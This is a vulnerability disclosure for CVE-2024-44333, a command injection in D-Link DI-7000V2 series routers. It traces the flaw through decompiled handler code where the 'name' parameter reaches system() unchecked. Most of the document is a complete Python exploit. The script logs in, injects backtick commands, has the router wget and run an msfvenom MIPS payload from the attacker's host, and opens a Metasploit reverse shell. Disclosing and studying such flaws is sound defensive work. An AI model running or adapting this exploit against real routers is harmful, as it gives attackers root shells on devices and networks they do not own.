CVE-2024-44333
D-Link | Welcome (dlink.com.cn)
-
DI_7003G-19.12.24A1
-
DI_7003GV2-24.04.18D1
-
DI_7100G+V2-24.04.18D1
-
DI_7100GV2-24.04.18D1
-
DI_7200GV2-24.04.18E1
-
DI_7300G+V2-24.04.18D1
-
DI_7400G+V2-24.04.18D1
[RCE] Authorized Remote Command Execution
A command execution vulnerability exists in multiple models of the DI-7000V2 series routers manufactured by D-Link (Shanghai) Co., Ltd. An attacker can exploit this vulnerability by crafting specific HTTP requests, triggering the command execution flaw and gaining the highest privilege shell access to the firmware system.
Make Your Life Simpler:
Using DI_7003GV2-24.04.18D1 as an example, the vulnerability exists in the jhttpd
component within the firmware file system, specifically in the request handling logic for the "USB Storage ---> Shared Services" feature.
Specifically, the vulnerability is located in the jhttpd
component, within the handler function sub_460314
for the usb_paswd.asp
request.
The key code snippet from the sub_460314
function, with non-essential parts omitted, is as follows:
int __fastcall sub_460314(int a1)
{
if ( httpd_get_parm(a1, "opt") )
return usb_email_asp(a1);
share_enable = httpd_get_parm(a1, "share_enable");
passwd = httpd_get_parm(a1, "passwd");
name = httpd_get_parm(a1, "name");
hpasswd = httpd_get_parm(a1, "hpasswd");
usb_husername = httpd_get_parm(a1, "hname");
acc_ip = httpd_get_parm(a1, "acc_ip");
acc_mac = httpd_get_parm(a1, "acc_mac");
acc_wan = httpd_get_parm(a1, "acc_wan");
acc_auth = httpd_get_parm(a1, "acc_auth");
device_name = httpd_get_parm(a1, "device_name");
send_email_en = httpd_get_parm(a1, "send_email_en");
send_email_name = httpd_get_parm(a1, "send_email_name");
send_email_pwd = httpd_get_parm(a1, "send_email_pwd");
printer_enable = httpd_get_parm(a1, "printer_enable");
printer_port = httpd_get_parm(a1, "printer_port");
killall_tk("smbd");
if ( !share_enable )
share_enable = "";
if ( *share_enable == '1' )
xstart("smbd", 0);
if ( passwd )
{
if ( !name || !*name )
name = "login";
flag = 0;
if ( printer_port && !nvram_match_def("usb_printer_port", printer_port) )
{
printer_port_checked = commandInjectionCheck((int)printer_port);
v20 = J_atoi(printer_port_checked);
v21 = (const char *)printer_port_checked;
if ( !v20 )
v21 = "9100";
flag = 1;
nvram_set("usb_printer_port", v21);
}
if ( printer_enable && !nvram_match_def("usb_printer_en", printer_enable) )
{
nvram_set("usb_printer_en", printer_enable);
}
else if ( !flag )
{
LABEL_15:
v11 = commandInjectionCheck((int)share_enable);
nvram_set("usb_share_enable", v11);
nvram_set("usb_passwd", passwd);
nvram_set("usb_username", name);
flag = (int)&sub_4A0000;
if ( usb_husername )
nvram_set("usb_husername", usb_husername);
if ( hpasswd )
nvram_set("usb_hpasswd", hpasswd);
v25 = "smbguest";
def = passwd;
v23 = "smbpasswd";
v24 = "-a";
v27 = 0;
eval(&v23, 0, 0, 0);
v23 = "smbpasswd";
v24 = "-a";
v25 = "smbadmin";
def = (char *)jhl_nv_get_def("usb_hpasswd");
v27 = 0;
eval(&v23, 0, 0, 0);
usb_username = (const char *)jhl_nv_get_def("usb_username");
sprintf(v28, "echo \"%s = %s\" > /etc/smbusers", "smbguest", usb_username);
v13 = 0;
system(v28);
v14 = (const char *)jhl_nv_get_def(flag + 0x3828);
sprintf(v28, "echo \"%s = %s\" >> /etc/smbusers", "smbadmin", v14);
system(v28);
}
The command execution occurs at the following location:
usb_username = (const char *)jhl_nv_get_def("usb_username");
sprintf(v28, "echo \"%s = %s\" > /etc/smbusers", "smbguest", usb_username);
system(v28);
The jhl_nv_get_def
function retrieves the value of the usb_username
field from nvram. It is evident that this part does not check whether the usb_username
field contains any injectable characters. Above this segment of code, there is the following code snippet:
nvram_set("usb_username", name);
The value of the usb_username
field is set through nvram_set
using the name
variable, which is obtained via name = httpd_get_parm(a1, "name");
from the name
field in the HTTP request. Since the name
field value is not checked for injectable characters, an attacker can control the value of the name
field in the request to perform command injection. For specific attack methods, refer to the attack demonstration video and the script provided in the EXP.
- Metasploit Framework (Tested on Version: 6.4.9-dev)
The script depends on the Metasploit framework. When running the script, msf will start listening. Please press Enter to continue the script execution once the listening process is complete. For detailed instructions, refer to the demonstration video.
# -*- coding: utf-8 -*-
"""
D-Link DI7000V2 Series Multiple Routers Command Execution Vulnerability Exploit.
MIT License
Copyright (c) 2024 Swind1er
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""
import requests
import logging
import argparse
import re
import time
import subprocess
import os
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
__author__ = "Yaxuan Wang(Sw1ndl3r)"
__email__ = "2532775668@qq.com"
def get_current_timestamp():
return int(time.time() * 1000)
def custom_quote(value):
return value.replace(' ', '%20')
def generate_payload(lhost, lport):
command = [
'msfvenom',
'-p', 'linux/mipsle/shell/reverse_tcp',
f'lhost={lhost}',
f'lport={lport}',
'-f', 'elf',
'-o', '3'
]
logging.debug(f'Running command: {" ".join(command)}')
try:
result = subprocess.run(command, capture_output=True, text=True, check=True)
logging.info(f'Payload generated successfully.')
return True
except subprocess.CalledProcessError as e:
logging.error(f'Error generating payload: {e.stderr}')
return False
def start_http_server():
command = ['python', '-m', 'http.server', '80']
process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
logging.info(f"HTTP server started with command: {' '.join(command)}")
time.sleep(2) # Give the server some time to start
return process
def login(session, host, username, password):
url = f"http://{host}/login.cgi"
headers = {
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Origin": f"http://{host}",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": f"http://{host}/login.html",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Cookie": "userid=admin",
"Connection": "close"
}
payload = f"user={username}&password={password}&Submit=%E7%99%BB%E5%BD%95"
logging.debug(f'Sending login request to {url} with payload: {payload}')
response = session.post(url, data=payload, headers=headers)
if response.status_code == 200:
logging.debug(f'Received response: {response.text}')
match = re.search(r"window.open\('([^']+)", response.text)
if match:
redirect_url = match.group(1)
logging.debug(f'Extracted redirect URL: {redirect_url}')
return redirect_url
else:
logging.error('Login failed: redirect URL not found in response.')
return None
else:
logging.error(f'Login request failed with status code: {response.status_code}')
return None
def send_request(session, host, referer, cmd):
url = f"http://{host}/usb_paswd.asp"
headers = {
"Accept": "application/json, text/javascript, */*",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
"Referer": f"http://{host}/{referer}",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Cookie": "userid=admin; gw_userid=admin,gw_passwd=73B9AFDFA9F7011E0553CF9A78DE320D",
"Connection": "close"
}
encoded_name = custom_quote(f"`{cmd}`")
params = (
f"printer_enable=0&"
f"printer_port=9100&"
f"share_enable=0&"
f"passwd=123456&"
f"name={encoded_name}&"
f"hpasswd=123456&"
f"hname=hlogin&"
f"acc_ip=&"
f"acc_mac=&"
f"acc_wan=0&"
f"acc_auth=0&"
f"send_email_en=0&"
f"send_email_name=0&"
f"send_email_pwd=0&"
f"device_name=&"
f"_{get_current_timestamp()}"
)
request_url = f"{url}?{params}"
logging.debug(f'Sending GET request to {request_url}')
response = session.get(request_url, headers=headers)
if response.status_code == 200:
logging.debug(f'Received response: {response.text}')
return response.json()
else:
logging.error(f'GET request failed with status code: {response.status_code}')
return None
def msf_listen(host, port):
cfg_file_path = 'cfg.rc'
logging.info(f'Creating Metasploit configuration file at {cfg_file_path}')
with open(cfg_file_path, 'w') as cfg_file:
cfg_file.write('use exploit/multi/handler\n')
cfg_file.write('set payload linux/mipsle/shell/reverse_tcp\n')
cfg_file.write(f'set lhost {host}\n')
cfg_file.write(f'set lport {port}\n')
cfg_file.write('run\n')
logging.info(f'Metasploit configuration written to {cfg_file_path}')
if os.name == 'posix': # Unix-like (Linux, macOS)
logging.info(f'Starting msfconsole with command: x-terminal-emulator -e msfconsole -r {cfg_file_path}')
subprocess.Popen(['x-terminal-emulator', '-e', 'msfconsole -r', cfg_file_path])
elif os.name == 'nt': # Windows
logging.info(f'Starting msfconsole with command: cmd /c start msfconsole -r {cfg_file_path}')
subprocess.Popen(['cmd', '/c', 'start', 'msfconsole', '-r', cfg_file_path])
else:
logging.error('Unsupported operating system.')
def main():
session = requests.session()
parser = argparse.ArgumentParser(description='D-Link DI7000V2 Series Multiple Routers Command Execution Vulnerability Exploit')
parser.add_argument('-r', '--router', metavar='router', default='192.168.0.1', help='Router IP address.')
parser.add_argument('-H', '--host', metavar='host', help='Host IP address.')
parser.add_argument('-u', '--username', metavar='Username', required=True, help='Login username.')
parser.add_argument('-p', '--password', metavar='Password', required=True, help='Login password.')
parser.add_argument('-P', '--port', metavar='Port', required=True, help='Port to listen on.')
args = parser.parse_args()
logging.info(f'Starting exploit script by {__author__} ({__email__})')
logging.info(f'Router IP: {args.router}, Host IP: {args.host}, Username: {args.username}, Password: {args.password}, Port: {args.port}')
if not generate_payload(args.host, args.port):
logging.error('Payload generation failed.')
return
msf_listen(args.host, args.port)
input("Press Enter to continue once msfconsole is in listening state...\n")
process = start_http_server()
commands = [
f'wget http://{args.host}/3',
'chmod +x ./3',
'./3',
'rm ./3'
]
redirect_url = login(session, args.router, args.username, args.password)
if redirect_url:
logging.info('Login successful. Redirect URL obtained.')
for cmd in commands:
logging.info(f'Executing command: "{cmd}"')
response = send_request(session, args.router, redirect_url, cmd)
if response:
logging.debug(f'Command "{cmd}" response: {response}')
logging.info(f'"Successfully executed command: "{cmd}"')
else:
logging.error(f'Failed to execute command: "{cmd}"')
else:
logging.error('Login failed. Unable to obtain redirect URL.')
process.kill()
logging.info('HTTP server stopped.')
for file_path in ['3', 'cfg.rc']:
if os.path.exists(file_path):
os.remove(file_path)
logging.info(f'Removed file: {file_path}')
else:
logging.warning(f'File not found: {file_path}')
if __name__ == "__main__":
main()